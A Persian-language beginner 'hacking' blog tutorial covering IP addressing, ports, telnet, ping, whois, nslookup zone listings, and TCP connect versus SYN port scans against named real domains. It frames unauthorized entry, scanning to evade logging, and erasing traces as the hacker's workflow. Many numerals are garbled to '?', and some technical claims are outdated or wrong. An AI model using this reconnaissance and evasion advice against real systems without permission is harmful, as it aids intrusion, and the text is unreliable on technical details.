تعداد بازديد کننده گان

.¸¸.•´¯`[• آموزش هـــک •]´¯`•.¸¸.

قسمـــت هاي ديگه

سلام به همه شما عزيزان:
خواهش ميکنم اگه خواستيد از اين مطاب در وبلاگ تون استفاده کنيد حداقل منبع شو بگيد
مرسي ...
 

........................................................................................................ ........................................................................................................ ........................................................................................................

قسمت اول

0 اقا شما مي تونيد اين صفحه رو سيو کنيد ! کپي کنيد ! يا هر کاري که دوست داريد اما اما اما اگه خواستيد جايي ذکر کنيد با ذکر منبع م لينک به اين جا مجاز است !
- تقسيم بندي من براي هکر ها:
1- سوسک ‌هکرها (احمق هاي سوپر کوچولوا):
توانايي‌هاشونم اينکه : بلدند 2 تا برنامه استفاده کنند و فکر کنند ديگه همه‌چي رو ياد گرفته‌اند ! ( مثل اين کسايي که اسم هکر رو رو خودشون مي زارن و حتي نمي تونن يه آي پي پيدا کنند !
2- جوجه مرغ هکرا (احمق‌هاي ميني کوچيک):
توانايي‌ها شون اينکه : بلدن يه آي دي رو هک کنند ( واي واي خيلي سخته !)
3- مرغ هکرا (احمق‌هاي کوچيک):
توانايي‌هاشونم اينکه : مي تونن بمبر بفرستن براي ميل... ماشاءالله !
4- ميني هکرا (احمق‌ بي شاخ و دم) :
بلده پسورد اي دي بدست بياره يا وارده يه آي اس پي بشه و فکر مي کنه که ديگه اخرشه !
5- هکرهاي خوب و نجيب ( مثل شما) :
دارند ياد مي‌گيرند و هنوز ?،? سال کار دارند.
6- هکرهاي کلاه سياه و پيش‌کسوت (مثل من ) :
ديگه آفتاب لبه بومه ... هکرهاي قابل احترام را دوست دارند ...
....................................................................................

چندتا چيز که بايد بدونيد !

- Hacker کيست ؟
هکر کسي است که با سيستم هاي کامپيوتري آشناست و مي‌تواند با روش‌هايي خاص (بدون اجازه) وارد آنها شود... اين انسان مي‌تواند خوب يا بد باشد ( در هر حال هکر است )
- سوال: يک هکر از چه راهي وارد يک سيستم مي‌شود؟
از راه شبکه (نه بابا ! )
بايد توجه کنيد که هر سيستم کامپيوتري (به عبارت بهتر هر سيستم عامل) به هر حال محصول کار تعدادي انسان است و حتما داراي تعدادي bug (خطاهايي که بعد از ارائه محصول به بازار به تدريج کشف مي‌شوند) خواهد بود. بعد از اينکه يک باگ مشخص شد، شرکت ها نرم‌افزارهايي را به‌سرعت (در عرض چند ساعت ) ايجاد مي‌کنند تا مشکل رفع شود اين‌ها را patch مي‌گويند. و بعد مديران شبکه (Wbemasters) در عرض چند روز تا چند سال (آين آخري در مورد ايرانه) آنها را download کرده و مشکل را حل مي‌کنند. در اين فاصله هکرها دمار از روزگار اين سايت‌ها در مي‌اورند...
- تعريف چند اصطلاح:
*** Hacker واقعي = سامورايي :
کسي که هدفش از نفوذ به سيستم‌ها نشان دادن ضعف سيستم‌هاي کامپيوتري است نه سوءاستفاده ... _مثل آينده شما
*** Wacker (واکر):
کسي که هدفش از نفوذ به سيستم‌ها، استفاده از اطلاعات آن سيستم‌هاست (جرو هکر‌هاي کلاه‌ سياه )
*** Cracker (کراکر):
کسي که هدفش از نفوذ به سيستم‌ها، خرابکاري و ايجاد اختلال در سيستم‌هاي کامپيوتري است. (جرو هکر‌هاي کلاه‌ سياه )
*** Preaker :
از قديمي‌ترين هکرها هستند که براي کارشان نياز (و دسترسي) به کامپيوتر نداشتند و کارشان نفوذ به خطوط تلفن براي تماس مجاني، استراق‌سمع و ... بود. اين جزو آموزش من نيست چون کار خيلي بديه (-;
- انواع کامپيوتر‌هاي شبکه:
=> کامپيوترهاي Server : کامپيوترهايي که کارشان تامين اطلاعات در شبکه است، مثلآ کامپيوترهايي که سايت‌ها را نگه مي‌دارند.
=> کامپبوتر‌هاي Client : کامپيوترهايي که استفاده کننده هستند مثل همين کامپيوتر خودتان که داريد ازش کار مي‌کشيد.
- انواع سيستم‌ عامل‌هايي که Server ها از آن استفاده‌ مي‌کنند:
=> سيستم‌هاي فعلي:
* خانواده Unix (مثل FreeBSD , Linux )
* خانواده Windows (مثل WinNT, Win2000 )
* Sun Solaris
* OsMac
=> سيستم‌هاي قديمي (منقرض شده - آخيش ! ):
AIX, IRIS, DEC10, DEC20 , ...
- سوال: کدام‌ها را بايد ياد گرفت؟
Win2000, Unix(Linux) را بايد ياد بگيريد. پيشنهاد من اين است که Win2000و RedHat Linux را روي کامپيوتر خود همزمان داشته باشيد.
FAQ
- چه چيزهايي را بايد داشته باشم تا شروع کنم؟
1- Win2000 , Linux را روي کامپيوتر خود نصب کرده و شروع به يادگيري کنيد.
2- شروع به يادگيري زبان C کنيد.
3- شروع به يادگيري TCP/IP کنيد. (کتاب بخريد )
4- مهمترين چيز علاقه به طي کردن يک را بسيار طوووووووووووووووووووووووووووووووووووووووووووووووووووووووووووووووووووووولانـــــــــــــــــــــــــــــــــــــــــــــــــــــــــي
....................................................................................

معرفي چند اصطلاح

IP

شماره‌ ايست که به هر کامپيوتر متصل به اينترنت داده مي‌شود تا بتوان به‌کمک آن شماره به آن کامپيوترها دسترسي داشت. اين عدد براي کامپيوترهايي که حالت سرور دارند (مثلا سايت‌ها) و نيز کامپيوتر‌هاي کلاينتي که معمولا به روشي غير از شماره‌گيري (Dial Up) به اينترنت وصل هستند، عددي ثابت و براي ديگران عددي متغير است. مثلا هر بار که شما با شرکت ISP خود تماس گرفته و به اينترنت وصل مي‌شويد، عددي جديد به شما نسبت داده مي‌شود.
اين عدد يک عدد ?? بيتي (? بايتي) است و براي راحتي به‌صورت زير نوشته مي‌شود:
xxx.xxx.xxx.xxx که منظور از xxx عددي بين ? تا ??? است (البته بعضي شماره‌ها قابل استفاده نيست که بعدا علت را توضيح خواهم داد). مثلا ممکن است آدرس شما به صورت 195.219.176.69 باشد. حتي اسم‌هايي مثل www.yahoo.com که براي اتصال استفاده مي‌کنيد، در نهايت بايد به يک IP تبديل شود، تا شما سايت ياهو را ببينيد.
در IP معمولا xxx اولي معناي خاصي دارد، که بعدا توضيح مي‌دهم... فقط اين را بگويم که اگر به روش Dial Up به اينترنت وصل شويد، معمولا عددي که به عنوان xxx اول مي‌گيريد، مابين 192 تا 223 خواهد بود.اين توضيح براي تشخيص کامپيوترهاي کلاينت از سرور (حداقل در ايران) بسيار مي‌تواند مفيد باشد.
بعد از اتصال به اينترنت براي به دست آوردن IP خود، از دستور IPCONFIG در command prompt استفاده کنيد. (البته يک سري نکات فني داريم که بعدا مي‌گم)
پورت (Port):
در ساده ترين تعريف، محلي است که داده‌ها وارد با خارج مي‌شوند. در مبحث هک معمولا با پورت‌هاي نرم‌افزاري سروکار داريم که به هر کدام عددي نسبت مي‌دهيم. اين اعداد بين 1 و 64500 هستند. معمولا به يک سري از پورت‌ها کار خاصي را نسبت مي‌دهند و بقيه به‌صورت پيش‌فرض براي استفاده شما هستند. پورت‌هاي که فعال هستند، هرکدام توسط يک نرم‌افزار خاص مديريت مي‌شوند. مثلا پورت ?? براي ارسال Email است، بنابراين بايد توسط يک نرم‌افزار اين کار انجام شود و اين نرم‌افزار بر روي پورت ?? منتظر (فال‌گوش) مي‌ماند. اينجا ممکن است شخصي از فلان نرم‌افزار و ديگري از بهمان نرم‌افزار استفاده کند ولي به‌هر حال پورت ?? هميشه براي ارسال Email است.
از ميان پورت‌ها شماره‌هاي 5، 23، 79، 81و... فعلا براي ما مهم‌ترند و به‌تدريج با آنها آشنا خواهيد شد.

....................................................................................

چگونه به يک پورت Telnet کنيم؟

براي اينکه عملکرد يک پورت براي شما روشن شود، بايد به آن پورت Telnet کنيد. (البته معمولا تعدادي از پورت‌هايي را که ممکن است اطلاعاتي مهم را در اختيار هکر‌ها قرار دهند مثل پورت ?? معمولا بسته است و ارتباط با آنها شايد برقرار نشود.) براي telnet کردن در command prompt دستور زير را تايپ کنيد:
telnet hostname portnum
در اين دستور به‌جاي hostname شماره ip و يا نام سايت را وارد مي‌کنيد و به‌جاي portnum شماره پورت و يا معادل آن از جدول. مثلا براي تلنت کردن به پورت ?? که ساعت و تاريخ را به‌دست مي‌دهد در کامپيوتري به‌ اسم www.iums.ac.ir مي‌نويسيد:
telnet iums.ac.ir 13
telnet iums.ac.ir daytime
هر دو اين دستورات معادل هم هستند.
تلنت کردن معمولا اولين کاري است که يک هکر براي هک کردن يک سايت انجام مي‌دهد، زيرا بعضي از پورت‌ها در صورت بسته نبودن روي آن سرور، معمولا حاوي اطلاعات بسيار مهمي هستند.
همين الان شروع کنيد و مثل يک هکر واقعي به کامپبوتر‌هاي مختلف و پورت‌هاي گوناگون تلنت کنيد. مخصوصا اگر پورت ?? (finger) روي يک کامپيوتر باز بود، مرا هم خبر کنيد
تقسيم‌بندي انواع حملات
اولين نکته‌اي که لازم است بگويم اينه که وقت خود را براي هک کردن کامپيوتر‌هاي کلاينت هدر ندهيد (اگرچه براي افراد مبتدي کار با نرم‌افزاري مثل Sub7 زياد هم بد نيست ولي نبايد زياده‌روي کرد) علت هم اينه که هربار که به اينترنت وصل مي‌شوند ip جديدي به‌ آنها اختصاص پيدا مي‌کنه و زحماتتون هدر مي‌ره (البته براي جلوگيري از اين امر هم روشهايي هست که در آينده ايشالله ميگم).
حالا تقسيم‌بندي:
1- حمله به روش Denial of Service Attack) DoS)
2- حمله به روش Exploit
3- حمله به روش Info Gathering (تلنت کردن يکي از مثالهاي آن است که امروز آموختيد)
4- حمله به روش Disinformation
در مورد هرکدام به‌زودي توضيح مي‌دم. C,Linux,TCP/IP يادتون نره
ترسيم مسير براي آينده
5- اولين و مهمترين تصميم انتخاب نوع کامپيوتري است که مي‌خواهيد هک کنيد ( کلاينت يا سرور )، زيرا روش‌هک کردن اين‌دو بجز در مراحل ابتدايي کاملا متفاوت است.
6- دومين گام انتخاب يک کامپيوتر مشخص (مثلا کامپيوتري که فلان سايت را نگه مي‌دارد که مثالي براي کامپيوتر سرور است و يا کامپيوتر فلان شخصي که با او چت مي‌کنيد که مثالي براي کامپيوتر کلاينت است) و جمع‌آوري اطلاعات در مورد آن است. اين جمع‌آوري اطلاعات از قرباني (Victim) را Footprinting گويند. اولين مشخصه‌اي که بايد کشف شود، ip اوست. يکي ديگر از اطلاعات مهم که معمولا دنبالش هستيم، پيدا کردن نوع سيستم‌عامل و نيز برنامه‌هايي است که کامپيوتر شخص از آنها بهره مي‌برد. يکي از مهمترين ( و گاه خطرناک‌ترين) کارها، تست‌کردن پورت‌هاي آن کامپيوتر براي ديدن اينکه کدام پورت‌ها باز و کدام‌ها بسته هستند.
7- مرحله بعدي در واقع شروع تلاش براي نفوذ به سيستم است. اين نفوذ سطوح مختلف دارد و بالاترين آن که در کامپيوترهاي سرور روي مي‌دهد، حالتي است که بتوان username و password مربوط به مدير کامپيوتر (administrator) يا superuser را به‌دست آورده و از طريق اين Shell Account به نهايت نفوذ دست‌ يابيم ولي گاه به‌دلايل مختلف (مربوط به سطح علمي خود و ... ) نمي‌توان به اين سطح دست‌يافت اما به هر حال براي مرحله بعدي مي‌تواند استفاده شود. اين مرحله جايي است که هنر شما يه عنوان يک هکر آغاز شده و نيز به پايان مي‌رسد.
8- اين مرحله بعد از نفوذ روي مي‌دهد که در آن به يک سطحي از کنترل سيستم رسيده‌ايد. رفتار شما در اين مرحله مشخص مي‌کند که چه نوع هکر هستيد(سامورايي، واکر و يا کراکر) و اينکه آيا جنبه ياد گرفتن را داشته‌ايد يا نه، همينجا مشخص خواهد شد.
9- مرحله آخر پاک کردن ردپاست تا گير نيفتيم (البته بعضي وقتها براي کلاس گذاشتن بايد گير بيفتيم، هه هه ...). بعضي از سيستم‌ها آمار login را نگه مي‌دارند که در مورد آنها اين مرحله بسيار مهم است.
خلاصه مطالب بالا به اين صورت است:
Selection -> FootPrinting -> Penetration -> [Changings] -> Cleaning
........................................................................................................

شروع مبحث Footprinting

گفتيم که اولين مرحله جمع‌آوري اطلاعات است که به آن FootPrinting مي‌گويند. اين مبحث را با آموزش روش پيدا کردن ip شروع مي‌کنيم.
پيدا کردن ip يک سايت با دانستن آدرس اينترنتي آن (پيدا کردن ip سرور)
قبل از اين بحث بگم که براي پيدا کردن آي پي افراد بايد به مبحث نت استت برسيم بعدش !
براي اين کار روشهاي مختلفي هست:
?- در (Internet Explorer (IE آدرس را تايپ کنيد و Enter را فشار دهيد. در قسمت پايين مرورگر يعني Status Bar پس از چند لحظه براي مدت کوتاهي ip نمايش داده مي‌شود و مي‌توانيد آنرا يادداشت کنيد. اگر طول اين مدت بسيار کوتاه است مي‌توانيد از صفحه عکس بگيريد ( با دکمه Print Screen ) و در يک نرم‌افزار گرافيکي بعد از باز کردن يک صفحه خالي به کمک Ctrl+V آنرا مشاهده کنيد. [ عجب راه احمقانه‌اي ;-)
اگر اين کار را براي www.yahoo.com انجام دهيم: پايين اينترنت اکسپلرر اعدادي مي بينيم که همان شماره ip براي www.yahoo.com است.
نکته بسيار مهم اين است که به‌دليل ضريب اشتباه بسيار بالاي آن هيچ‌گاه از اين روش استفاده نکنيد. نتايج ممکن است کاملا اشتباه باشد که بعدا ميگم چرا.
?- دستور ping را در command prompt صادر کنيد:
ping domain
در اين حالت مي‌توانم ip آن سايت را ملاحظه کنم. (البته کار اصلي ping يک چيز ديگست و ميشه گفت داريم ازش سوءاستفاده مي‌کنيم). مثلا براي پيدا کردن ip سازين مي‌نويسم:
ping aod.4t.com
و جواب مي‌شنوم:
Pinging aod.com [63.148.227.65] with 32 bytes of data:
Reply from 63.148.227.65: bytes=32 time=821ms TTL=111
Reply from 63.148.227.65: bytes=32 time=821ms TTL=111
Reply from 63.148.227.65: bytes=32 time=822ms TTL=111
Reply from 63.148.227.65: bytes=32 time=811ms TTL=111
Ping statistics for 63.148.227.65:
Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
Minimum = 811ms, Maximum = 822ms, Average = 818ms
ملاحظه مي‌فرماييد که ip سايتم 63.148.227.65 است.
اگر دستور ping را به‌جاي aod.4t.com براي www.aod.4t.com صادر کنيد، جواب همان است. البته براي سايت‌هاي بزرگ جواب‌هاي حاصل متفاوت خواهد بود.
?- روش بعدي و کامل‌ترين روش whois کردن به بعضي سايت‌هاي خاص است. بعدا اين را کامل‌تر توضيح مي‌دم ولي فعلا روشش رو مي‌گم. آدرس زير را در مرورگر خود تايپ کنيد:
http://www.samspade.org/t/ipwhois?a=xxxxxx
که به‌جاي xxxxxx آدرس مورد نظر را تايپ کنيد. مثلا براي aod.com يکي از دو آدرس زير را بايد تايپ کرد:
http://www.samspade.org/t/ipwhois?a=aod.4t.com
http://www.samspade.org/t/ipwhois?a=www. aod.4t.com
چيزي که در صفحه ظاهر مي‌شود به صورت زير است:
whois -h magic 63.148.227.65
aod.com resolves to 63.148.227.65
Trying whois -h whois.arin.net 63.148.227.65
Qwest Communications NET-QWEST-BLKS-2 (NET-63-144-0-0-1)
63.144.0.0 - 63.151.255.255
Neutron Digital Media Corp. QWST-63-148-224 (NET-63-148-224-0-1)
63.148.224.0 - 63.148.231.255
# ARIN Whois database, last updated 2002-09-04 19:05
# Enter ? for additional hints on searching ARIN's Whois database.
که آدرس ip در سطر اول و دوم ذکر شده است.
اگر دو روش آخر را براي سايت بزرگ yahoo انجام دهيم، نتايج زير را مي‌بينيم:
--> روش ping :
www.yahoo.com ====> 64.58.76.229
yahoo.com ====> 66.218.71.198
--> روش whois :
...و www.yahoo.com ====> 66.218.71.86
64.58.79.230 و yahoo.com ====> 66.218.71.198
نتايج حاصل گوياي آن است که چرا بهتر است از whois استفاده کنيم.
........................................................................................................

RFC چيست؟

متون بسيار کامل ولي خشک و ثقيل که در مورد مفاهيم مختلف شبکه بحث مي‌کنند. اين فايل‌ها به صورت متني و با پسوند txt هستند و به‌عنوان مرجع (براي مراجعه و نه مطالعه کامل) کاربرد دارند. اين فايل‌ها يک‌بار منتشر شده و هرگز تغيير داده نمي‌شوند (حتي اگر حاوي اشتباه باشند.)
-----------------------------------------------------------------------------------------------------------------------------------

فايل‌هاي RFC از کجا قابل دسترسي هستند؟

RFCها از سايت‌هاي بسياري قابل دسترس هستند ولي سايت مورد علاقه من براي RFCها، سايت زير است:
http://www.ietf.org/rfc/xxxxxxx.txt
که به‌جاي xxxxxxx نام rfc موردنظر را مي‌نويسيم. مثلا براي دسترسي به rfc791 بايد آدرس را به‌ صورت زير تايپ کنيم:
http://www.ietf.org/rfc/rfc791.txt
........................................................................................................

تقسيم بندي آدرس‌هاي ip

آدرس‌هاي ip به ? کلاس تقسيم‌بندي مي‌شوند که A تا E نام‌ دارند ولي از اين بين سه کلاس اول (يعني C,B,A) کاربرد عملي دارند که آنها را شرح مي‌دهيم:
1- کلاس A: اگر ip را به‌صورت xxx.yyy.yyy.yyy در نظر بگيريد، اين کلاس تمام ipهايي را شامل مي‌شود که xxx بين ? تا ??? است. اين کلاس ويژه backbone هاي بزرگ اينترنتي است و در هنگام ثبت domain براي گرفتن ip از آنها استفاده مي‌شود. بنابراين اکثر سايت‌ها چنين ipهايي دارند. اين کلاس را 8/ هم مي‌گويند.
2- کلاس B: اين کلاس تمام ipهايي را شامل مي‌شود که xxx بين ??? و ??? است. اين کلاس هم از جمله کلاس‌هاي پرکاربرد است. اين کلاس را 16/ هم مي‌گويند.
3- کلاس C: اين اين کلاس تمام ipهاي را شامل مي‌شود که xxx بين ??? و ??? است. اين کلاس معمولا به ISP هايي که خدمات dial-up ارائه مي‌دهند، تعلق مي‌گيرد (اين جمله چندان مستند نيست.). بنابراين اگر به‌صورت dial-up به اينترنت متصل شويد، چنين ip مي‌گيريد. اين کلاس را 24/ هم مي‌گويند.
سوالي که پيش مي‌آيد اين است که xxx چرا نه در کلاس A و نه در B، عدد ??? را شامل نمي‌شود؟ جواب اين‌ است که ??? براي کامپيوتر خودمان رزرو شده است. مثلا 127.0.0.1 معمولا يعني localhost يعني خودمان.

........................................................................................................

به‌دست آوردن ip خودتان بعد از اتصال به اينترنت

Connection-specific DNS Suffix . :
IP Address. . . . . . . . . . . . : 217.66.198.116
Subnet Mask . . . . . . . . . . . : 255.255.255.255
Default Gateway . . . . . . . . . : 217.66.198.116
که آدرس ip تان را مي‌توانيد در سطر Ip Address ببينيد. (مسئله پروکسي را فعلا ناديده بگيريد)
1- بعد از اتصال به اينترنت حداقل يک صفحه باز کنيد و بعد دستور netstat -n را در command prompt تايپ کنيد. من با تايپ اين دستور به نتايج زير رسيدم:
Active Connections

Proto Local Address Foreign Address State
TCP 217.66.198.116:2469 64.58.76.177:80 ESTABLISHED
TCP 217.66.198.116:2471 66.163.175.130:80 ESTABLISHED
TCP 217.66.198.116:2473 212.73.194.143:80 ESTABLISHED
TCP 217.66.198.116:2474 212.73.194.143:80 ESTABLISHED
TCP 217.66.198.116:2476 212.73.194.136:80 SYN_SENT
ستوني که زير عبارت Local Address قرار دارد، ip من در آن اتصال است. بنابراين ip من در آن اتصال 217.66.198.116 بوده است.

........................................................................................................

ادامه مبحث Footprinting براي سرورها!

قبلا بحث را با روش پيدا کردن ip سرورها (سايت‌ها) شروع کرديم. حالا کمي در مورد whois مي‌آموزيم. لازم به ذکر است که هنوز درمورد FootPrinting کلاينت‌ها صحبتي نکرده و نمي‌کنم.
........................................................................................................

Whois چيست؟ ( مهمه )

تعريف کلي براي whois نمي‌توان ارائه داد ولي فعلا منظور ما از Whois همان کسب اطلاعات در مورد يک سايت است. (قبلا با نوع خاصي از whois براي تبديل domain به ip آشنا شده‌ايد).
کاري که امروز مي‌خواهم انجام دهم کسب اطلاعات در مورد يک شماره ip و يا يک domain (مثلا irib.com ) خاص است. براي کسب اين اطلاعات بايد به اينترنت وصل شده و به‌طريقي به يک سري سايت‌هاي خاص که وظيفه ثبت domain , ... را دارند متصل شده و اطلاعات را از آنها درخواست کنم. اين سايت‌هاي خاص database (بانک‌هاي اطلاعاتي) ويژه اين وظايف را دارند. براي کسب اين اطلاعات از سايت‌ها روش‌هاي زير را مي‌توان به‌کار برد:
1- اگر از طريق سيستم عامل يونيکس يا لينوکس به اينترنت وصل شده‌ايد، دستوري به اسم whois در آنها وجود دارد. و يا مي‌توانيد از نرم‌افزارهاي خاصي که براي اين سيستم‌عامل‌ها وجود دارد (مثل Xwhois ) استفاده کنيد. ولي فعلا بحث روي ويندوز است و اين دستور در ويندوز وجود ندارد.
2- براي whois کردن در ويندوز نرم‌افزارهاي زيادي وجود دارد (که به زودي نوشتن يک whois متوسط را در زبان C ياد خواهم داد.) از مشهورترين اين نرم‌افزارها Netscan tools و SamSpade است. ولي از اينها هم فعلا صرف نظر مي‌کنم تا شما بيشتر با جزئيات اين‌ کار آشنا شويد.
3- روشي که ما در اين جلسه به کار مي‌بريم، استفاده از سايت‌هايي است که اين جستجو را براي ما انجام مي‌دهند. بحث را شروع مي‌کنم:
اولين سايت مشهورترين سايت ثبت domain براي org , net , com است.
توجه کنيد که امروزه سايت‌هاي مختلفي عمل ثبت domain را انجام مي‌دهند و براي اينکه در مورد يک سايت خاص (که در واقع يک domain خاص دارد) اطلاعاتي کسب کنيم بايد اطلاعات مربوطه را از آن سايتي بگيريم که ثبت domain را انجام داده است و چون اين کار مشکلي است به جاي استفاده از خود سايت‌هاي بالايي، از سايت‌هايي ديگر استفاده مي‌کنيم که اين کار را براي ما ساده‌تر مي‌کنند (خود آن سايت‌ها در نهايت اطلاعاتشان را از سايت‌هاي اصلي مي‌گيرند و فقط يک نقش واسط دارند... لازم به‌ذکر است که ايجاد چنين صفحات وبي زياد هم مشکل نيست.). سايت مورد علاقه من براي کسب اطلاعات سايت زير است:
http://www.samspade.org/t/whois?a=xxxxxxxxx
که بجاي xxxxxxxxx آدرس سايت و يا ip آنرا مي‌نويسيم و آدرس حاصله را در مرورگر خود مي‌بينيم. مثلا اگر بخواهم در مورد سايت aod.4t.comاطلاعاتي به‌دست بياورم، مي‌نويسم: شما مي تونيد با کليک روي اين نوشته اطلاعاتشم ببينيد !
http://www.samspade.org/t/whois?a=aod.4t.com
ملاحظه مي‌کنيد که اطلاعات زيادي در مورد اين سايت را به اين طريق مي‌توان به‌دست آورد. اطلاعاتي درمورد آدرس ISP ، شخصي که به‌عنوان Admin کار ثبت را انجام داده است و ... البته باز هم نمي‌توان در مورد صحت و سقم آن اظهارنظر قطعي داشت.
تعدادي از مهمترين اطلاعات را در قسمت DNS Servers يا Domain servers (که در اين مثال در آخر قرار دارد) مي‌بينيد. بعدا در مورد اين آدرس‌ها توضيح خواهم داد ولي فعلا مي‌گم که به کمک همين چند آدرسي که در آخر به‌دست آورديم به کمک دستوري به نام nslookup مي‌توان اطلاعات با ارزش‌تري به‌دست آورد که به‌زودي ياد مي‌گيريد.

........................................................................................................

چگونگي استفاده از nslookup

وقتي که DNS Server يک سايت را به‌دست آورده باشيم (از طريق whois )، به کمک دستور nslookup مي‌توان اطلاعاتي اضافي در مورد آن سايت پيدا کرد. طريقه استفاده اين دستور به صورت زير است:
فرض کنيد که من مي‌خواهم از Domain Server سايت خودم اطلاعاتي به‌دست بيارم. اگر به اين سايت whois کنم، مي‌بينم که دوتا Name Server يا DNS Server دارد:
s1.aod.com
s2.aod.com
حالا ديگر آدرس DNS Server مربوط به aod.com را دارم و مي‌توانم شروع کنم:
1- دستور nslookup را در command prompt نوشته و اجرا مي‌کنم:
C:\>nslookup
و نتايج را مي‌بينم:
*** Can't find server name for address 192.168.20.3: Non-exi...
*** Can't find server name for address 192.168.20.1: Non-exi...
*** Default servers are not available
Default Server: UnKnown
Address: 192.168.20.3
علامت > يعني شما مي‌توانيد دستورات را تايپ کنيد.
1- در جلوي علامت < دستور زير را تايپ مي‌کنيم:
> server dns_server
که به جاي dns_server بايد آدرس DNS Server سايت موردنظر را بنويسم. پس براي سايت aod.com مي‌شود:
> server s1.aod.com
و جواب مي‌شنوم:
Default Server: s1.aod.com
Address: 63.148.227.63
اگر در اين مرحله پيغام خطا مي‌گيريد، بايد دوباره اين دستور را تايپ کنيد و نيز مي‌توانيد از DNS Server دومي که در whois براي به‌دست آورديم ، استفاده کنيم.
2- دستور زير را تايپ کنيد:
> set type=any
3- حالا به کمک دستور زير اطلاعات را به‌دست مي‌آوريم:
> ls -d site_name .
که براي aod.4t.com مي‌شود:
>ls -d aod.4t.com.
دقت کنيد که بعد از اسم سايت يک نقطه (dot) گذاشته‌ام، شما هم بهتر است اينطوري بنويسيد.
نتايج زير حاصل مي‌شود:
[s1.aod.com]
aod.4t.com. SOA s1.aod.com admin.aod.com.
(2002070412 3600 600 86400 3600)
aod.4t.com. A 63.148.227.65
aod.4t.com. NS s1.aod.com
aod.4t.com. NS s2.aod.com
aod.4t.com. MX 10 mail.aod.com
aod.4t.com. MX 15 aod.com
ftp CNAME aod.com
mail A 63.148.227.65
www CNAME aod.com
aod.4t.com. SOA s1.aod.com admin.aod.com.
(2002070412 3600 600 86400 3600)
بعدا در مورد کاربرد تک‌تک اينها صحبت خواهم کرد ولي بعضي از آنها همين‌طوري هم اطلاعات واضحي دارند.
4- دستور exit را مقابل < تايپ کرده و از nslookup خارج مي‌شويم.
شما براي تمرين همين کار را در مورد سايت neda.net.ir انجام دهيد. فقط رو سايت من نکنيد در پيت خراب ميشه !
5 تقسيم‌بندي پورت‌ها از روي شماره آنها
1- پورت‌هاي 0 تا 1023 :
مشهورترين پورت‌ها هستند و معمولا هرکدام براي يک سرويس خاص استفاده مي‌شود. با تعدادي از اين پورت‌ها در جلسات قبل آشنا شده‌ايد.
2- پورت‌هاي 1024 تا 49151 :
اين سري از پورت‌ها مشخصا با هيچ‌يک از سرويس‌هاي اينترنتي مرتبط نيستند بلکه وقتي که با يک ابزار شبکه مانند مرورگر اينترنت(مثل Internet Explore يا Netscape Navigator )، نرم‌افزار ارسال و دريافت E-mail (مثل Outlook يا Edura )، نرم‌افزارهاي FTP (مثل WS-FTP يا Cute-FTP ) کار مي‌کنيد، يکي از اين پورت‌ها به صورت random باز شده و يک ارتباط با سرور (با توجه به‌نوع سرويس اينترنتي که مي‌دهد که يکي از پورت‌هاي 0 تا 1023 است) برقرار شده و داده‌ها ارسال و دريافت مي‌شوند. يعني پورت شما يکي از پورت‌هاي اين قسمت است و پورت سرور يکي از پورت‌هاي بالايي.اين سري پورت‌ها را پورت‌هاي register شده هم مي‌گويند.
3- پورت‌هاي 49152 تا 65535 :
اين سري از پورت‌ها به‌ندرت استفاده مي‌شوند. کاربرد اساسي آنها براي يک سري سرويس‌هاي خاص اينترنتي است و يا توسط trojanها (که براي Hack کردن کامپيوتر است) است. البته خيلي از trojanهاي معروف از پورت‌هاي رديف ? هم استفاده مي‌کنند و اين تقسيم‌بندي‌ها هميشه برقرار نيست و به‌همين علت است که گاهي پورت‌ها را به دو‌دسته زير 1024 و بالاي 1024 تقسيم‌ مي‌کنند.

TCP و UDP چيست؟

مدل TCP/IP که براي ارتباط اينترنتي به‌کار مي‌رود، مي‌توان به لايه‌هاي مختلفي تقسيم‌بندي کرد که بعدا بيشتر توضيح مي‌دم، اما يکي از اين لايه‌ها، لايه ارتباط host2host است که خود شامل دو پروتکل است به نامهاي TCP و UDP :
1- (TCP (Transmission Control Protocol :
اين پروتکل قوي‌تر و قابل اعتمادتر است و اصولا پروتکل مهمتري نسبت به UDP محسوب مي‌شود. اين پروتکل توانايي بازبيني بسته‌هاو کنترل خطا را هم دارد.
2- (UDP (User Datagram Protocol :
اين پروتکل براي کاهش overflow طراحي شده است و در خيلي از موارد وابسته به TCP است.
نکته مهم اين است که وقتي با يک پورت خاص روي يک کامپيوتر ديگر ارتباط برقرار مي‌کنيم، اين ارتباط مي‌تواند از نوع TCP يا UDP باشد. بنابراين وقتي مي‌خواهيم يک کامپيوتر خاصي را از نظر پورت‌ها بررسي کنيم، هردو بايد بررسي شود.
معمول‌ترين Scanning ها کدامند؟
دو نوع معمول Scanning وجود دارد:
1- IP Scanning :
فرض کنيد که شما يک سري IP مربوط به يک ISP خاص را داريد و مي‌خواهيد بدانيد که در اين لحظه کدام‌ها فعال (up) هستند تا فقط آنها را بررسي کنيد و نه‌ همه را. اين موضوع را بعدا توضيح مي‌دم ( اين کار معمولا موقعي پيش مي‌آيد که قرار است کلاينت هک کنيد و مهم نيست چه کسي باشد )
2- Port Scanning :
در اين حالت ما IP يا IPهاي مورد نظر را انتخاب کرده‌ايم و حالا مي‌خواهيم بدانيم که کدام پورت‌ها روي آن کامپيوترها باز است. اين کار به کمک نرم‌افزارهاي خاصي انجام مي‌شود که مبحث امروز ماست.
چگونه يک ارتباط TCP برقرار مي‌شود که بگوييم فلان پورت باز است يا نه؟
براي اينکه تعيين کنيم که يک پورت روي يک سرور باز است يا نه، معمولا بايد يک TCP connect scan انجام دهيم. اول اين را بگم که Port Scanning انواع مختلف دارد که فعلا ما نوع TCP connect را مدنظر داريم. اين نوع اسکن سه مرحله دارد که به آن TCP's 3-way handshakeمي‌گويند:
1- اول کامپيوتر ما به سمت سرور يک SYN packet مي‌فرستد که به معني درخواست اتصال است.
2- اگر سرور اين درخواست را قبول کند، در مرحله دوم سرور به سمت ما يک SYN/ACK packet مي‌فرستد.
3- در مرحله آخر کامپيوتر ما يک ACK packet به سمت سرور مي‌فرستد.
نوع ديگري از پورت اسکن TCP SYN scan نام دارد. با توجه به اينکه معمولا اگر پورت اسکن به روش بالا (TCP connect scan) انجام دهيم، معمولا در سرور اين اتصال ذخيره خواهد شد و بعدا مي‌تواند ما را رديابي کنند، به جاي آن مي‌توان از TCP SYN scan استفاده کرد. در اين نوع اسکن، مراحل ? و ? از بالا انجام مي‌شود ولي مرحله ? نه! اگر در مرحله ? به ما يک SYN/ACK برسد، آن پورت باز است و اگر يک RST/ACK برسد، يعني بسته است.
انواع ديگري از پورت اسکنينگ هم وجود دارد مثل UDP scan, TCP Window scan, TCP ACK scan, TCP Null, TCP Xmas Tree, TCP FIN Scan
